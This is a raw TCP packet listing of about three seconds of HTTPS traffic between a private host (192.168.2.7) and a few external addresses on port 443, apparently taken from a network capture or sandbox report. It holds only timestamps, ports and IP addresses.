Oct 7, 2024 19:33:25.427684069 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.475470066 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.475965977 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.476022005 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.488385916 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.488578081 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.488655090 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.501472950 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.501494884 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.501501083 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.501507044 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.510876894 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.510876894 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.510905027 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.510910988 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.517184973 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.517214060 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.517267942 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.517509937 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.517700911 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.517756939 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.518786907 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.518810034 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.519020081 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.524544001 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.524568081 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.525154114 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.525168896 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.525182962 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.525190115 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.542346954 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.542363882 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.544799089 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.544835091 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.544955015 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.545391083 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.545407057 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.560941935 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:25.560976028 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:25.561038971 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:25.564523935 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:25.564537048 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:25.819900036 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.823790073 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.823801994 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.824516058 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.824522018 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.919239998 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.919436932 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.919527054 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.016684055 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.016709089 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.016722918 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.016730070 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.061556101 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.107811928 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.145656109 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.145663023 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.148164034 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.148169041 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.163515091 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.169831991 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.169918060 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.172436953 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.174108028 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.179897070 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.179918051 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.180331945 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.180347919 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.196458101 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.196469069 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.196728945 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.197320938 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.197326899 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.197707891 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.197711945 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.206653118 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.206653118 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.206666946 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.206681013 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.246107101 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.246160984 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.246226072 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.246594906 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.247087955 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.247103930 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.278789997 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.319405079 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.508949041 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509042025 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509051085 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509107113 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.509109020 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509192944 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509217978 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.509243965 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.509249926 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509265900 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509268045 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509278059 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.509284019 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509370089 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.509397030 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.509443998 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.510839939 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.510849953 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.510862112 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.510870934 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.511703968 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.511718035 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.511734009 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.511753082 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.513103962 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.513125896 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.513147116 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.513153076 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.519411087 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.519435883 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.519548893 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.520273924 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.520289898 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.521337986 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.521358967 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.521539927 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.521647930 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.521663904 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.522804022 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.522824049 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.522921085 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.523196936 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.523211002 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.524045944 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.524070024 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.524138927 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.524250031 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:26.524266005 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:26.605982065 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 19:33:26.894649982 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.894676924 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.894709110 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.894715071 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.894730091 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.894746065 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.894754887 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.894763947 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.894763947 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.894793987 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.990485907 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.990535975 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.990560055 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.990570068 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.990581989 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:26.990619898 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.992845058 CEST	49806	443	192.168.2.7	104.102.49.254
Oct 7, 2024 19:33:26.992856979 CEST	443	49806	104.102.49.254	192.168.2.7
Oct 7, 2024 19:33:27.167973042 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.168320894 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.168349028 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.168914080 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.168920040 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.169151068 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.170686960 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.170701981 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.170880079 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.171173096 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.171180010 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.171410084 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.171417952 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.171787977 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.171792984 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.173358917 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.174118042 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.174129963 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.174721956 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.174726963 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.190788031 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.191935062 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.191972017 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.192322969 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.192332029 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.261957884 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.262048960 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.262090921 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.262944937 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.262944937 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.262967110 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.262974977 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.263745070 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.263931036 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.263978958 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.264007092 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.264028072 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.264657974 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.264673948 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.264707088 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.264714956 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.266874075 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.267082930 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.267144918 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.267421961 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.267451048 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.267503023 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.268071890 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.268083096 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.268182993 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.268182993 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.268192053 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.268198013 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.269855976 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.270509958 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.270581007 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.270688057 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.270721912 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.270952940 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.271203995 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.271226883 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.271437883 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.271437883 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.271452904 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.271471024 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.274290085 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.274313927 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.274363995 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.274481058 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.274492979 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.276170969 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.276179075 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.276642084 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.277112007 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.277122021 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.292975903 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.293101072 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.293144941 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.293164015 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.293184996 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.293378115 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.293395042 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.293409109 CEST	49813	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.293416977 CEST	443	49813	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.295360088 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.295372963 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.295450926 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.295603037 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.295617104 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.897265911 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.898097038 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.898109913 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.898578882 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.898586988 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.901149035 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.901452065 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.901463985 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.901954889 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.901961088 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.902060032 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.902312040 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.902324915 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.902714968 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.902719021 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.922605038 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.922908068 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.923007011 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.923016071 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.923449039 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.923454046 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.923616886 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.923686028 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.923974991 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.923984051 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.993077993 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.993273973 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.993428946 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.993428946 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.993428946 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.995755911 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.995798111 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.996027946 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.996247053 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.996264935 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.996814966 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.997067928 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.997148991 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.997148991 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.997314930 CEST	49816	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.997327089 CEST	443	49816	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.998950958 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.998974085 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:27.999126911 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.999408007 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:27.999420881 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.000484943 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.000643969 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.000720978 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.000749111 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.000766039 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.000778913 CEST	49815	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.000783920 CEST	443	49815	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.002454996 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.002465963 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.002587080 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.002625942 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.002630949 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.017689943 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.017844915 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.017909050 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.017930984 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.017939091 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.017944098 CEST	49819	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.017947912 CEST	443	49819	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.019685984 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.019704103 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.019727945 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.019812107 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.019834995 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.019938946 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.019954920 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.019962072 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.019977093 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.019999981 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.020049095 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.020062923 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.020075083 CEST	49818	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.020080090 CEST	443	49818	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.021662951 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.021686077 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.021838903 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.021930933 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.021959066 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.199850082 CEST	49817	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.199878931 CEST	443	49817	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.626924038 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.630044937 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.636001110 CEST	443	49821	13.107.246.45	192.168.2.7
